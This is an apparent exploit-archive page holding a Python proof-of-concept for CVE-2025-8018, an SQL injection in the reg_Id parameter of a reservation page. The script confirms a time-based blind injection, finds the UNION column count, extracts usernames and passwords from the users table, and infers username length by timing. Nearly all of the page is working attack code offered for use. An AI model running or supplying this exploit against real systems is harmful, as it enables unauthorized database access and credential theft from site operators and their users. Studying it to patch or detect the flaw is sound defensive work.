4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2025-8018.py PY
import requests
import time
import urllib.parse

#Configuration
TARGET_URL = "http://TARGET-IP/user/reservation_page.php"
SLEEP_SECONDS = 5
TIME_THRESHOLD = 4  # How long a delay we expect if blind SQLi works

def check_blind_sqli():
    """
    Checks if the reg_Id parameter is vulnerable to time-based blind SQL injection.
    """
    payload = f"1 AND SLEEP({SLEEP_SECONDS})-- "
    full_url = f"{TARGET_URL}?reg_Id={urllib.parse.quote(payload)}"
    print(f"[*] Checking time-based SQLi with payload: {payload}")
    
    start_time = time.time()
    response = requests.get(full_url, timeout=SLEEP_SECONDS + 2)
    elapsed = time.time() - start_time

    if elapsed > TIME_THRESHOLD:
        print("[+] Blind SQL injection confirmed!")
        return True
    else:
        print("[-] No delay detected — may not be vulnerable or filtered.")
        return False

def find_column_count(max_columns=10):
    """
    Finds the number of columns by incrementally testing UNION SELECTs.
    """
    print("[*] Testing how many columns the query expects...")
    for num in range(1, max_columns + 1):
        columns = ",".join(["NULL"] * num)
        payload = f"1 UNION SELECT {columns}-- "
        full_url = f"{TARGET_URL}?reg_Id={urllib.parse.quote(payload)}"
        
        response = requests.get(full_url)
        if response.status_code == 200 and "error" not in response.text.lower():
            print(f"[+] Looks like {num} columns work!")
            return num

    print("[-] Couldn't find valid column count.")
    return None

def try_union_extraction(columns):
    """
    Attempts to extract username/password from 'users' table using UNION SELECT.
    """
    print("[*] Trying to extract data using UNION-based SQL injection...")
    injection_columns = ["username", "password"] + ["NULL"] * (columns - 2)
    payload = f"1 UNION SELECT {','.join(injection_columns)} FROM users-- "
    full_url = f"{TARGET_URL}?reg_Id={urllib.parse.quote(payload)}"
    
    response = requests.get(full_url)
    if "admin" in response.text.lower():
        print("[+] Found potential credentials in the response!")
        print(response.text[:1000])  # Print a sample of the response
    else:
        print("[-] No visible credentials found — maybe data is not shown in response.")

def find_username_length():
    """
    Uses time-based blind SQLi to determine the length of a username.
    """
    print("[*] Using time-based SQLi to guess username length...")
    for length in range(1, 30):
        payload = f"1 AND IF(LENGTH((SELECT username FROM users LIMIT 1))={length}, SLEEP({SLEEP_SECONDS}), 0)-- "
        full_url = f"{TARGET_URL}?reg_Id={urllib.parse.quote(payload)}"

        start_time = time.time()
        requests.get(full_url, timeout=SLEEP_SECONDS + 2)
        elapsed = time.time() - start_time

        if elapsed > TIME_THRESHOLD:
            print(f"[+] Username is {length} characters long!")
            break

def main():
    print("=== CVE-2025-8018 Exploit Script ===")

    if not check_blind_sqli():
        return

    column_count = find_column_count()
    if column_count:
        try_union_extraction(column_count)
    
    print("[*] Trying blind extraction fallback...")
    find_username_length()

if __name__ == "__main__":
    main()